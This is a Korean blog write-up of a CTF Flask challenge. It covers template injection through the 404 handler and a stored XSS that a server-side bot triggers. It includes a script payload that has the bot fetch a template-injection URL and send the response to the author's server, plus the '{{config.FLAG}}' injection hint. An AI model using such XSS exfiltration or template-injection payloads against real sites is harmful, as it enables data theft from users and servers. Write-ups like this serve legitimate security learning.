먼저 다음과 같은 소스파일이 주어졌다.
b7c1c5b8fb4d4bb38349197f7dfe3005.zip
파이썬 Flask 소스가 나온다. 보자마자 Template Injection 이라고 생각했다.
(참고 : https://nvisium.com/blog/2015/12/07/injecting-flask/)
소스를 살펴보면 코드의 상단에
FLAG = "FLAG{**********************************}" # Can you read it?
이런식으로 flag가 선언되어 있다.
flag변수에 접근해야 하는데 우리가 이 값을 확인할 수 있어야 하므로
어떠한것이든 출력해주는 부분을 찾아야 한다.
아래와 같이 51번째 라인에 에러를 처리해주는 함수가 있다.
위 소스를 해석해보면 /abcd 처럼 존재하지 않는 페이지에 접속을 시도하면
abcd was not found on the server 처럼 우리의 입력값을 다시 출력해주는 것이다.
이 부분을 통해 공격을 할 수 있을것이라 생각하고 /{{FLAG}} 로 접속을 했지만
이런식으로 단순히 페이지가 존재하지 않는다고만 출력해줬다.
다시 문제 페이지에 접속해서 로그인을 해보면 글을 쓸 수 있는 공간이 존재한다.
글을 써보면 Status 칸에 Read라고 써있다. 간단하게 테스트를 해보니
XSS가 가능하고 글을 작성하는 즉시 서버에서 자동으로 글을 읽는다.
(0ctf의 monkey가 갑자기 생각이 났다)
아래의 소스로 서버 측에서 페이지에 접속하고 그 값을 나에게 전송하도록 테스트해봤다.
<script>
var req = new XMLHttpRequest();
req.open('GET', '/{{FLAG}}');
req.onreadystatechange = function(data) {
if(req.readyState == 4) {
location.href="http://127.0.0.1/ck/?data=" + req.responseText;
}
}
req.send();
</script>
내 서버에 접속하여 로그를 보니 이전과 마찬가지로 Not Found 라고 뜬다.
풀다보니 새벽이라 접고 집가서 잤다.
나중에 라이트업을 읽어보니 {{config.FLAG}} 로 접근해야 FLAG가 뜬다고 한다..
재밌는 문제였다.
'Wargame(CTF)' 카테고리의 다른 글
[2016 ChristmasCTF] LOLSTMAS Write-up (0) | 2016.12.26 |
---|---|
[Solveme.kr] Point Lotto (0) | 2016.11.18 |
[2014 Codegate] angry_doraemon (0) | 2016.07.07 |
[2013 Codegate] nuclear (0) | 2016.07.05 |
blackjack (0) | 2016.06.28 |